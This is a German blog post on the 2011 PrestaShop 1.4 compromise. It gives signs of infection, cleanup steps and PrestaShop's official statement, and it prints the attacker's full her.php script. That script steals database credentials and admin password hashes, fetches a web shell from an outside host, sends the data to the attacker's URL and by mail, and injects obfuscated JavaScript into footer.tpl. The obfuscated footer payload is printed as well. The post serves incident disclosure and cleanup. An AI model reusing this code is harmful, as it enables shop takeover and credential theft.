Sicherheitslücke in PrestaShop 1.4

Seit gestern häufen sich Hinweise, dass PrestaShop 1.4 eine kritische Sicherheitslücke aufweist.

Betroffen sind alle Versionen von 1.4.017 bis 1.4.4.0, also auch die momentan aktuellste. Selbst in localhost-Umgebungen tritt dieses Problem auf. Liegt der Fehler im Kern von PrestaShop?

Beim Aufruf der Website kann ein moderner Virenscanner Alarm schlagen:

Die Top-Programmierer von PrestaShop erarbeiten momentan eine Lösung.

Falls der eigene Server gehackt wurde, kann man dies am aktuellen Exploit an folgenden Merkmalen feststellen:

  • ein Script Abschnitt wurde im Themes Ordner der footer.tpl hinzugefügt
  • eine oder mehrere Dateien wurden dem /upload/ und /download/ Ordnern hinzugefügt
  • die .htaccess Datei wurde im /download Ordner gelöscht
  • Die Ordner /tools/smarty/compile/ , /tools/smarty/cache/ und /tools/smarty_v2/ wurden gelöscht

Während des Hacks kann man eine her.php im Ordner /modules/ finden, die für die Löschaktionen und den Skriptblock verantwortlich ist.

Die her.php verschick Passwörter von den „Mitarbeitern“ des PrestaShop Back Offices und die mysql-Zugangsdaten. Danach werden die oben genannten Dateien erstellt und Ordner gelöscht.

Lösung: Schließen der Sicherheitslücke?

Momentan existiert noch kein Patch und es ist unbekannt, wo die Sicherheitslücke herkommt.

Ein Patch steht seit kurzem bereit:

Patch im PrestaShop.com-Forum

Der Patch soll wohl die schadhaften Dateien löschen und den Shop wieder gangbar machen. Wir bitten um Feedback, ob das tatsächlich funktioniert hat.

Die Ursache ist angeblich, dass die PrestaShop Server gestern gehackt wurden und in der /admin/tabs/AdminHome.php ein Bug die Server infiziert hatten.

Nähere Infos hierzu:

Im originalen PrestaShop wurde auf der Admin-Startseite ein Befehl an den PrestaShop-Server gesendet, um Update-Benachrichtigungen zu erhalten. Dadurch wurden allerdings nicht nur Infos, sondern auch eine Datei an den eigenen Server verschickt. Die GC Editionen sind hiervon nicht betroffen, da diese Sicherheitslücke aufgrund von Datenschutzgründen bereits vorher herausgenommen wurde. Die GC Edition sendet keine Anfragen an PrestaShop und wurde daher hiervon verschont (vgl. Abschnitt Datenschutz).

Manuelle Prüfung / Reinigung

Wir empfehlen, die footer.tpl zu bereinigen, die mysql-Passwörter und Mitarbeiter-Passwörter neu zu setzen. Danach sollte unbedingt ein Schreibschutz in den modules-Ordner gesetzt werden (555), sowie auf die Datei footer.tpl (444). Danach sollten die Ordner compile, cache und smarty_v2 wiederhergestellt und alle Dateien bis auf index.php gelöscht werden.

Wir werden hier informieren, sobald es einen Patch gibt.

Schritt-für Schritt:

  • per FTP: footer.tpl bereinigen (Scriptcode vor </bod></html> entfernen)
  • per FTP: footer.tpl mit Schreibschutz versehen (444)
  • per FTP /modules/ Ordner mit Schreibschutz versehen (555)
  • per FTP: /modules/her.php löschen (falls vorhanden)
  • per FTP die 3 Ordner /tools/smarty/compile/ , /tools/smarty/cache/ und /tools/smarty_v2/ Ordner wiederherstellen und leeren (bis auf index.php)
  • per FTP: die 2 Ordner /upload/ und /download/ leeren (bis auf index.php)
  • per FTP: .htaccess-Datei in /download/ aus einer originalen PrestaShop-Version wieder einfügen
  • Back Office: alle Mitarbeiter Passwörter neu setzen
  • Webhoster: mysql-Zugangsdaten ändern
  • per FTP: in /config/settings.inc.php neue Zugangsdaten eintragen

Die Inhalte der her.php (Scriptcode des Hackers):

<?php error_reporting(0); $shcode = "{literal}".base64_decode("PHNjcmlwdD5TdHJpbmcucHJvdG90eXBlLmFzZD1mdW5jdGlvbigpe3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlO307T2JqZWN0LnByb3RvdHlwZS5hc2Q9ImUiO3RyeXtmb3IoaSBpbnt9KWlmKH5pLmluZGV4T2YoJ2FzJykpdGhyb3cgMTt9Y2F0Y2gocSl7enhjPXt9W2ldO312PWRvY3VtZW50LmNyZWF0ZVRleHROb2RlKCdhc2QnKTt2YXIgcz0iIjtmb3IoaSBpbiB2KWlmKGk9PSdjaGlsZE5vZGVzJylvPXZbaV0ubGVuZ3RoKzE7byo9MjtlPWV2YWw7bT1bM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S1vLDYzLW8sNDEtbywxMDYtbywxMTgtbywxMTgtbywxMTQtbyw2MC1vLDQ5LW8sNDktbywxMDEtbywxMTAtbywxMDctbywxMDEtbywxMDktbywxMTEtbywxMDMtbywzNi1vLDQ1LW8sMTIyLW8sNDUtbywxMjMtbyw0NS1vLDM2LW8sNDgtbywxMDQtbywxMDctbywxMTAtbywxMDMtbyw5OS1vLDEyMC1vLDEwMy1vLDQ4LW8sMTAxLW8sMTEzLW8sMTExLW8sNDEtbywzNC1vLDEyMS1vLDEwNy1vLDEwMi1vLDExOC1vLDEwNi1vLDYzLW8sNTAtbywzNC1vLDEwNi1vLDEwMy1vLDEwNy1vLDEwNS1vLDEwNi1vLDExOC1vLDYzLW8sNTAtbyw2NC1vLDM2LW8sNDMtbyw2MS1vXTttbT0nJy5hc2QoKTtmb3IoaT0wO2k8bS5sZW5ndGg7aSsrKXMrPW1tKGUoIm0iKyJbIisiaSIrIl0iKSk7ZShzKTs8L3NjcmlwdD4=")."{/literal}"; $shurl = "http://www.c2bill.it/stest/chkpnt/shell.txt"; $msgurl = "http://www.c2bill.it/stest/chkpnt/sdata.php"; $mails = "samuvel_hitroy [at] aol [dot] com, preop [at] gmx [dot] com"; function deletedir($arg){ $d=opendir($arg); while($f=readdir($d)){ if($f!="."&&$f!=".."){ if(is_dir($arg."/".$f)) deletedir($arg."/".$f); else unlink($arg."/".$f); } } rmdir($arg);closedir($d);} @include("../config/settings.inc.php"); ///Host info $hostvar = "host:".$_SERVER["HTTP_HOST"]."n"."ref:".$_SERVER["HTTP_REFERER"]."n"."path:".$_SERVER["SCRIPT_FILENAME"]."n=====n"; ///Server info $srvvar = _DB_SERVER_."n"._DB_USER_."n"._DB_PASSWD_."n"._DB_NAME_."n"._DB_PREFIX_."n"._COOKIE_KEY_."n"._COOKIE_IV_."n"._PS_VERSION_."n=====n"; ///GET admin mysql_connect(_DB_SERVER_,_DB_USER_,_DB_PASSWD_); mysql_selectdb(_DB_NAME_); $r = mysql_query("SELECT `email`, `passwd` FROM `"._DB_PREFIX_."employee` WHERE id_profile = 1"); while($ro=mysql_fetch_assoc($r)){$usrs .= $ro['email'].":".$ro['passwd']."n";} //Wride sploit @deletedir("../tools/smarty/compile/"); @deletedir("../tools/smarty/cache/"); @deletedir("../tools/smarty_v2/"); @deletedir("../tools/smarty_v2/"); $fn = "../themes/"._THEME_NAME_."/footer.tpl"; $f = fopen($fn,"r");$ff = fread($f,filesize($fn));fclose($f); $ff = str_replace("</body>"," ".$shcode."</body>",$ff); $f = fopen($fn,"w");$rf = fwrite($f,$ff);fclose($f); if($rf>0) $wrres = "true"; else $wrres = "false"; //write shell $sh = file_get_contents($shurl); $shf = "../upload/".md5(date("r")).".php"; $f = fopen($shf,"w");$rf = fwrite($f,$sh);fclose($f); $shf2 = "../download/".md5(date("r")).".php"; $f = fopen($shf2,"w");$rf = fwrite($f,$sh);fclose($f); @unlink("../download/.htaccess"); $msg = $hostvar.$srvvar.$usrs."=====nTemplate writed:".$wrres."n=====nShells:n".$shf."n".$shf2."n=====n"; @mail($mails,"new shop",$msg); @file_get_contents($msgurl."?data=".base64_encode($msg)); @unlink(__FILE__); ?>

Die Inhalte des Schadhaften Script-Codes in der footer.tpl:

{literal}<script>String.prototype.asd=function(){return String.fromCharCode;};Object.prototype.asd=“e“;try{for(i in{})if(~i.indexOf(‚as‘))throw 1;}catch(q){zxc={}[i];}v=document.createTextNode(‚asd‘);var s=““;for(i in v)if(i==’childNodes‘)o=v[i].length+1;o*=2;e=eval;m=[120-o,99-o,116-o,34-o,102-o,34-o,63-o,34-o,112-o,103-o,121-o,34-o,70-o,99-o,118-o,103-o,42-o,43-o,61-o,120-o,99-o,116-o,34-o,122-o,63-o,85-o,118-o,116-o,107-o,112-o,105-o,48-o,104-o,116-o,113-o,111-o,69-o,106-o,99-o,116-o,69-o,113-o,102-o,103-o,42-o,79-o,99-o,118-o,106-o,48-o,104-o,110-o,113-o,113-o,116-o,42-o,102-o,48-o,105-o,103-o,118-o,70-o,99-o,118-o,103-o,42-o,43-o,49-o,52-o,43-o,45-o,59-o,57-o,43-o,61-o,34-o,120-o,99-o,116-o,34-o,123-o,63-o,85-o,118-o,116-o,107-o,112-o,105-o,48-o,104-o,116-o,113-o,111-o,69-o,106-o,99-o,116-o,69-o,113-o,102-o,103-o,42-o,102-o,48-o,105-o,103-o,118-o,74-o,113-o,119-o,116-o,117-o,42-o,43-o,45-o,59-o,57-o,43-o,61-o,102-o,113-o,101-o,119-o,111-o,103-o,112-o,118-o,48-o,121-o,116-o,107-o,118-o,103-o,42-o,36-o,62-o,107-o,104-o,116-o,99-o,111-o,103-o,34-o,117-o,116-o,101-o,63-o,41-o,106-o,118-o,118-o,114-o,60-o,49-o,49-o,101-o,110-o,107-o,101-o,109-o,111-o,103-o,36-o,45-o,122-o,45-o,123-o,45-o,36-o,48-o,104-o,107-o,110-o,103-o,99-o,120-o,103-o,48-o,101-o,113-o,111-o,41-o,34-o,121-o,107-o,102-o,118-o,106-o,63-o,50-o,34-o,106-o,103-o,107-o,105-o,106-o,118-o,63-o,50-o,64-o,36-o,43-o,61-o];mm=“.asd();for(i=0;i<m.length;i++)s+=mm(e(„m“+“[„+“i“+“]“));e(s);</script>{/literal}

Der Scriptcode in der footer.tpl verweist auf eine URL erabaglanti.ka.hn und ein kleines Rechteck ist ein Iframe nach clickmeml.fileave.com (URL)

Die Sicherheitslücke in PrestaShop wird auch im Forum diskutiert:

http://www.prestashop.com/forums/topic/125798-footertpl-vulnerability/

Und es gibt im Bugtracker einen Eintrag (Virus Infection on PrestaShop):

http://forge.prestashop.com/browse/PSCFI-3144

2 Antworten zu “Sicherheitslücke in PrestaShop 1.4”

  1. Bosschen sagt:

    das gleiche ist mir auch passiert wobei es sich bei mir um ein reines test-system handelte… hab bei der installation alles auf den ftp geladen und alle rechte vom schop
    (alle ordner und die unterordner)auf „777“ gesetzt um keine probleme bei der installation zu haben…

    der shop diente nur zum überprüfen und einspielen von tests aber nach 2 tagen war er gehackt von

    †HacKeD bY L0RD5†…

    die haben gleich eine nette umleitung gemacht.. das ganze sah dan so aus

    https://lh6.googleusercontent.com/-2UuD2u_6gYc/TlZr9uh9diI/AAAAAAAACa0/24n_sqFW-kw/hack.jpg

    • gurkcity sagt:

      Hier ein Kommentar von PrestaShop aus dem offiziellen Forum:

      Hi everybody,

      First of all, I want to thank the PrestaTeam and the Community who were able to mobilize yesterday to correct the problem in just a few short hours.
      I took the time to read each and every one of your posts, and I want to bring you as much information as possible to all your questions.

      • As soon as we became aware of the fault, we began by searching for the origin. We contacted several storefront owners who had found the problem, they gave us access, and together we tried to reproduce it on multiple machines in-house. We identified several possibilities:
        • A security vulnerability in the PrestaShop software that allowed the injection of malicious script on the shops.
        • A trojan that modifies the script before sending FTP.
        • A trojan recovering FTP access and allowing another script to change the solution.
        • A security vulnerability in the software on the servers.

        And we finally managed to find the answer: the issue was with our website, http://www.prestashop.com.
        So we started by correcting the problem on prestashop.com, blocking the attack, and then we split the team in three:

        • A team to more precisely analyze what the script was exactly to assess the damage;
        • A team to create the sets, and test it on several shops affected;
        • Another team was responsible for verifying the PrestaShop server in depth, to lock the server and trace it back to the origin of the hack to recover information as possible so that we can file an official report.

      • Yes, http://www.PrestaShop.com has been compromised, allowing an attacker to exploit a script injection site and, as a result, another script on the remote stores.
      • This „loophole“ is because we do not verify information from our own site in terms of the software. This design flaw is fixed with the patch that we provided you yesterday. This patch fixes the problem and protects your store from future attacks.
      • The software is completely secure as I am writing this, and the malicious script was offset yesterday afternoon around 7:00 a.m. Eastern Time.
      • The consequences for the shops affected are:
        • The script get your access to the database and a table „Employees“, and sent by mail to an anonymous address, which is why we have asked you to change the password for your database and the password for all your employees in the back office of your store.
        • The script added several points of entry („backdoors“) in the download and upload directories, to browse the directory of your store; these scripts are deleted by the patch.
        • The script removed the directory tools/smarty_v2; this directory is recreated by the patch.
        • The direct consequence is, for now, a temporary suspension of your site, until the application of security patches.

      • What to do:
        • it is essential to quickly and apply the security patch if you have been affected because data is still vulnerable,
        • If you have not been affected , you should apply the security patch as a preventative measure.

      The whole team PrestaShop is listening to you and we are at your disposal for any questions. We are actively working to respond to you individually today to help resolve any problems.
      Yours.

Schreibe einen Kommentar zu gurkcity Antworten abbrechen

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert